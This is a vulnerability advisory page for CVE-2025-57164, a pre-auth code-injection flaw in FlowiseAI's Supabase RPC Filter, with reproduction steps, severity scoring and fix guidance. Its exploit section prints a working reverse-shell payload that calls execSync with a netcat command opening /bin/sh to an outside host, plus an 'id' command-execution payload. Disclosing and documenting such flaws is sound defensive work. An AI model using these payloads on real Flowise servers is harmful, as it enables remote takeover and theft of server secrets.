GHSA-7944-7c6r-55vv CVE-2025-57164

FlowiseAI Pre-Auth Arbitrary Code Execution

Medium npm

Severity: 9.1 / 10; Medium · CVSS 3.1
Exploit chance (EPSS): 0.64%; Chance of exploitation in the next 30 days. Higher than 50.56% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix: 3.0.6; Upgrade flowise to this version or later

Description

Summary

An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.

This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.

Details

FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237

This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.

Exploit

We configured our environment to use Supabase entities as follows:

To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:

image-1 image-2

This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.

Subsequently, a reverse shell was successfully established using:

filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)

This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.

Steps to Reproduce

Deploy a FlowiseAI instance with the Supabase vector store enabled.
Login as an admin user.
Drag in a Supabase node and configure "Supabase RPC Filter".
Insert a malicious payload in the filter expression, such as:

process.mainModule.require("child_process").execSync("id")
Trigger the chatbot or workflow to activate the node.
Observe execution of arbitrary code on the backend.

Impact

Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
Environment Leakage: Access to sensitive env variables like JWT_REFRESH_TOKEN_SECRET.
Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.

Trust Boundary Violation

The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.

This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.

Evidence

Environment variable leakage via malformed JSON

Reverse shell successfully triggered using attacker-controlled input

Credit

This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)

Affected versions

npm

Package	Vulnerable	Fixed in
flowise	`>= 3.0.5, < 3.0.6`	`3.0.6`

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

flowise npm → `3.0.6`

npm

npm install flowise@3.0.6

yarn

yarn add flowise@3.0.6

pnpm

pnpm add flowise@3.0.6

Severity breakdown

CVSS 3.1 9.1

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Attack vector: Network
Attack complexity: Low
Privileges required: High
User interaction: None
Scope: Changed
Confidentiality: High
Integrity: High
Availability: High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it

Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Advisories

nvd.nist.gov/vuln/detail/CVE-2025-57164

Packages

github.com/FlowiseAI/Flowise

Timeline

Sep 15, 2025 Published
Jun 17, 2026 Last updated by the source
Oct 31, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-w7x8-q2gp-5cgg Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass	Critical	Also affects flowise
GHSA-9gvv-qjj3-2p6g Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium	High	Also affects flowise
GHSA-qgvm-j2hm-6m38 Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service	Critical	Also affects flowise
GHSA-5xvg-pmgg-3mxr Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability	Critical	Also affects flowise
GHSA-gmmw-qg98-6j6p Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation	High	Also affects flowise
GHSA-8gj2-2cvc-6xx7 Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials	Medium	Also affects flowise
GHSA-fm2f-4339-4p2f Flowise: Missing Authorization on Execution Update Endpoint	Medium	Also affects flowise
GHSA-wch5-xp77-fxg4 Flowise: Cross-Workspace OAuth2 Credential Metadata Leak	High	Also affects flowise

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor